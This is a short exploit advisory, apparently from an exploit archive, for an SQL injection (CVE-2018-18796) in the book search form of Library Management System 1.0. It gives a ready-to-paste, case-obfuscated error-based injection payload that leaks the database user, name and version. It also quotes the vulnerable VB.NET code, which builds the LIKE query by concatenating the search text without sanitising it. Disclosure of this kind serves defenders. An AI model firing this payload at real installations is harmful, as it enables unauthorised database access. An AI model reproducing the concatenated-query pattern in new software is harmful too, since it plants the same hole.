Library Management System 1.0 SQL Injection

Library Management System version 1.0 suffers from a remote SQL injection vulnerability.


MD5 | 1a10d50a46a26cd175959e93c328a704

# Exploit Title: Library Management System 1.0 - 'frmListBooks' SQL Injection
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/users/janobe
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/librarymanagementsystem.zip
# Version: 1.0
# Category: Windows
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-18796

# POC:
# 1)
# textSearch System.Windows.Forms.TextBox / [SQL]
#
# %' And (SElecT 112 FRom(SELECT CoUNT(*),conCAT((SELecT (ELT(112=112,1))),CONCAT_WS(0x203a20,USEr(),DATABASE(),VERsiON()),FLOOR(RAnD(0)*2))x FRoM INFORmaTION_SCHeMA.PLuGINS GRoUP BY x)a) AnD'%'='
#
# https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9iilMAW5YdIxu5AWEd7trdXgnrU9B75V0FJ1PjI9JtX_U_JipKgdMWKkGVd0y2pxXUO6q_fIplzBXI6PRnVsFxF-cUwWDa_hCRbxdsm-S0VJy_X3bVC2IaY3bFqIY57Bl7EjeKZD47XQ/s1600/sql1.png
#
#[PATH]/forms/frmListofBooks.vb
#...

Public Class frmListBooks

Private Sub frmListBooks_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
sql = "SELECT `AccessionNo`, `BookTitle`, `BookDesc` as 'Description', `Author`, `PublishDate`, `BookPublisher`, `Category`,BookType as 'typeOfBooks', `BookPrice` as 'Price', DeweyDecimal " & _
", Status FROM `tblbooks` b, `tblcategory` c WHERE b.`CategoryId`=c.`CategoryId` "
reloadDtg(sql, dtgList)
End Sub

Private Sub txtSerach_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles txtSearch.TextChanged
sql = "SELECT `AccessionNo`, `BookTitle`, `BookDesc` as 'Description', `Author`, `PublishDate`, `BookPublisher`, `Category`,BookType as 'typeOfBooks', `BookPrice` as 'Price', DeweyDecimal " & _
", Status FROM `tblbooks` b, `tblcategory` c WHERE b.`CategoryId`=c.`CategoryId` AND (`BookTitle` Like '%" & txtSearch.Text & "%' OR `Author` Like '%" & txtSearch.Text & "%' OR `AccessionNo` Like '%" & txtSearch.Text & "%')"
reloadDtg(sql, dtgList)
End Sub

Private Sub btnAdd_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnAdd.Click
Try
If dtgList.CurrentRow.Cells(10).Value = "Available" Then
frmBorrow.txtAccesionNumBorrow.Text = dtgList.CurrentRow.Cells(0).Value
Me.Close()
Else
MsgBox("The book is already borrowed.", MsgBoxStyle.Exclamation)

End If
Catch ex As Exception

End Try

End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Me.Close()
End Sub
End Class


Related Posts